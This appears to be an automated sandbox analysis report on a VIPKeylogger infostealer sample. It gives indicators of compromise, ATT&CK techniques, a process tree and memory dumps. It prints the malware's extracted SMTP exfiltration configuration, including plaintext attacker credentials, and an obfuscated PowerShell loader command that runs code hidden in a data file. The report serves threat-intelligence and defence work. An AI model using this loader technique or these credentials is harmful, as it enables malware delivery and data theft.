vipkeylogger | c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554

Analysis

max time kernel
144s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-12-2024 02:58

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General

Target

c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554.exe
Size

520KB
MD5

bcda7dfe98c66a21374a3eac66703f68
SHA1

e2113b5764f2fc16c4e1fcae6a214da4d4bb37eb
SHA256

c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554
SHA512

4a3d54636e3c773b11de017f956a2d2301387b09ea72a3e5517e1596caecd8b750000debfdea216a04f11eb868306c280fc1936f5fee200cf95a62686fbc326d
SSDEEP

12288:aIC0V1TyykYDamTi6kSywWmM7lEFvVPppyoS/B3FYA1Y+:MW1TyykYWmTi6XywWZEFZmz/lJV

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
smtp.ionos.es
Port:
587
Username:
[email protected]
Password:
Nachete#2018
Email To:
[email protected]

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
24	468	msiexec.exe
28	468	msiexec.exe
30	468	msiexec.exe
32	468	msiexec.exe
35	468	msiexec.exe
42	468	msiexec.exe
44	468	msiexec.exe
48	468	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	drive.google.com
24	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
41	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
468	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4384	powershell.exe
468	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4384	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4384	powershell.exe
4384	powershell.exe
4384	powershell.exe
4384	powershell.exe
4384	powershell.exe
4384	powershell.exe
4384	powershell.exe
4384	powershell.exe
4384	powershell.exe
468	msiexec.exe
468	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4384	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeIncreaseQuotaPrivilege	4384	powershell.exe
Token: SeSecurityPrivilege	4384	powershell.exe
Token: SeTakeOwnershipPrivilege	4384	powershell.exe
Token: SeLoadDriverPrivilege	4384	powershell.exe
Token: SeSystemProfilePrivilege	4384	powershell.exe
Token: SeSystemtimePrivilege	4384	powershell.exe
Token: SeProfSingleProcessPrivilege	4384	powershell.exe
Token: SeIncBasePriorityPrivilege	4384	powershell.exe
Token: SeCreatePagefilePrivilege	4384	powershell.exe
Token: SeBackupPrivilege	4384	powershell.exe
Token: SeRestorePrivilege	4384	powershell.exe
Token: SeShutdownPrivilege	4384	powershell.exe
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeSystemEnvironmentPrivilege	4384	powershell.exe
Token: SeRemoteShutdownPrivilege	4384	powershell.exe
Token: SeUndockPrivilege	4384	powershell.exe
Token: SeManageVolumePrivilege	4384	powershell.exe
Token: 33	4384	powershell.exe
Token: 34	4384	powershell.exe
Token: 35	4384	powershell.exe
Token: 36	4384	powershell.exe
Token: SeDebugPrivilege	468	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 4384	2680	c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554.exe	85
PID 2680 wrote to memory of 4384	2680	c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554.exe	85
PID 2680 wrote to memory of 4384	2680	c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554.exe	85
PID 4384 wrote to memory of 468	4384	powershell.exe	99
PID 4384 wrote to memory of 468	4384	powershell.exe	99
PID 4384 wrote to memory of 468	4384	powershell.exe	99
PID 4384 wrote to memory of 468	4384	powershell.exe	99

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554.exe
"C:\Users\Admin\AppData\Local\Temp\c424ae2e0e7fbe842e8ce8e0c2d36551ce718cda8df23a07b0af790145fcf554.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Heksekedlers=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\postarmistice\monospermy\brevbombe\Wynds\Geobotanisk.Con';$Escapisms=$Heksekedlers.SubString(73017,3);.$Escapisms($Heksekedlers)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2yx1whiu.ixf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\postarmistice\monospermy\brevbombe\Wynds\Geobotanisk.Con

Filesize
71KB

MD5
725601690e2a78f984e4ffc448eef039

SHA1
defc66341b1b173373779d667535c65b86236f77

SHA256
7671f74dd24c60ae152b1a2b781f3fb104d811ae853d7238fa3f4363ee0993eb

SHA512
c9317b42da4fffd5d1b5d103a5ed12b38464c11b38ae63ce74bc777cc70f2d897581488d6799ea560ae7e19e2c5e8b4a1e8b1694e90f0842e59e0e893db3451e

Download Submit
C:\Users\Admin\AppData\Roaming\postarmistice\monospermy\brevbombe\Wynds\Nglestilling.Psy148

Filesize
302KB

MD5
9576a581f7f346e9d8ae69db6aa2462e

SHA1
ed9154f982db92ee78e63270dc50d515cbd4eb0c

SHA256
adce8c2847a3325a280ece211063820f48dbb7323fc9de5c305ef6bd4c7f0440

SHA512
cad2388595b98709f25f01cf25397fd32e75a895003897608162d3ded95155ad3d58be9fdec8163133d0153ce284a7530a3d0281b5e0975e7e2dbf8e62bc02dc

Download Submit
memory/468-79-0x0000000000FC0000-0x0000000002214000-memory.dmp

Filesize
18.3MB

Download
memory/468-81-0x0000000000FC0000-0x0000000001008000-memory.dmp

Filesize
288KB

Download
memory/468-88-0x00000000268A0000-0x00000000268AA000-memory.dmp

Filesize
40KB

Download
memory/468-87-0x00000000268F0000-0x0000000026982000-memory.dmp

Filesize
584KB

Download
memory/468-85-0x00000000267F0000-0x0000000026840000-memory.dmp

Filesize
320KB

Download
memory/468-84-0x00000000269C0000-0x0000000026B82000-memory.dmp

Filesize
1.8MB

Download
memory/468-82-0x0000000025D40000-0x0000000025DDC000-memory.dmp

Filesize
624KB

Download
memory/468-80-0x0000000000FC0000-0x0000000002214000-memory.dmp

Filesize
18.3MB

Download
memory/4384-44-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-49-0x0000000007860000-0x000000000787A000-memory.dmp

Filesize
104KB

Download
memory/4384-22-0x00000000060E0000-0x00000000060FE000-memory.dmp

Filesize
120KB

Download
memory/4384-23-0x0000000006180000-0x00000000061CC000-memory.dmp

Filesize
304KB

Download
memory/4384-24-0x0000000006660000-0x00000000066F6000-memory.dmp

Filesize
600KB

Download
memory/4384-25-0x00000000065F0000-0x000000000660A000-memory.dmp

Filesize
104KB

Download
memory/4384-26-0x00000000072C0000-0x00000000072E2000-memory.dmp

Filesize
136KB

Download
memory/4384-27-0x0000000007930000-0x0000000007ED4000-memory.dmp

Filesize
5.6MB

Download
memory/4384-29-0x0000000008560000-0x0000000008BDA000-memory.dmp

Filesize
6.5MB

Download
memory/4384-31-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-32-0x000000006FB30000-0x000000006FB7C000-memory.dmp

Filesize
304KB

Download
memory/4384-30-0x00000000074E0000-0x0000000007512000-memory.dmp

Filesize
200KB

Download
memory/4384-42-0x00000000074C0000-0x00000000074DE000-memory.dmp

Filesize
120KB

Download
memory/4384-10-0x00000000059D0000-0x0000000005A36000-memory.dmp

Filesize
408KB

Download
memory/4384-43-0x0000000007530000-0x00000000075D3000-memory.dmp

Filesize
652KB

Download
memory/4384-45-0x0000000007650000-0x000000000765A000-memory.dmp

Filesize
40KB

Download
memory/4384-46-0x00000000077B0000-0x00000000077C1000-memory.dmp

Filesize
68KB

Download
memory/4384-47-0x00000000077F0000-0x00000000077FE000-memory.dmp

Filesize
56KB

Download
memory/4384-48-0x0000000007800000-0x0000000007814000-memory.dmp

Filesize
80KB

Download
memory/4384-17-0x0000000005AB0000-0x0000000005E04000-memory.dmp

Filesize
3.3MB

Download
memory/4384-50-0x0000000007830000-0x0000000007838000-memory.dmp

Filesize
32KB

Download
memory/4384-51-0x0000000007860000-0x000000000788A000-memory.dmp

Filesize
168KB

Download
memory/4384-52-0x00000000078A0000-0x00000000078C4000-memory.dmp

Filesize
144KB

Download
memory/4384-53-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-55-0x00000000736BE000-0x00000000736BF000-memory.dmp

Filesize
4KB

Download
memory/4384-56-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-57-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-59-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-61-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-60-0x0000000008BE0000-0x000000000EAFE000-memory.dmp

Filesize
95.1MB

Download
memory/4384-62-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-64-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-11-0x0000000005A40000-0x0000000005AA6000-memory.dmp

Filesize
408KB

Download
memory/4384-9-0x0000000005870000-0x0000000005892000-memory.dmp

Filesize
136KB

Download
memory/4384-8-0x00000000051E0000-0x0000000005808000-memory.dmp

Filesize
6.2MB

Download
memory/4384-7-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-6-0x0000000002AE0000-0x0000000002B16000-memory.dmp

Filesize
216KB

Download
memory/4384-5-0x00000000736BE000-0x00000000736BF000-memory.dmp

Filesize
4KB

Download
memory/4384-65-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download
memory/4384-66-0x00000000736B0000-0x0000000073E60000-memory.dmp

Filesize
7.7MB

Download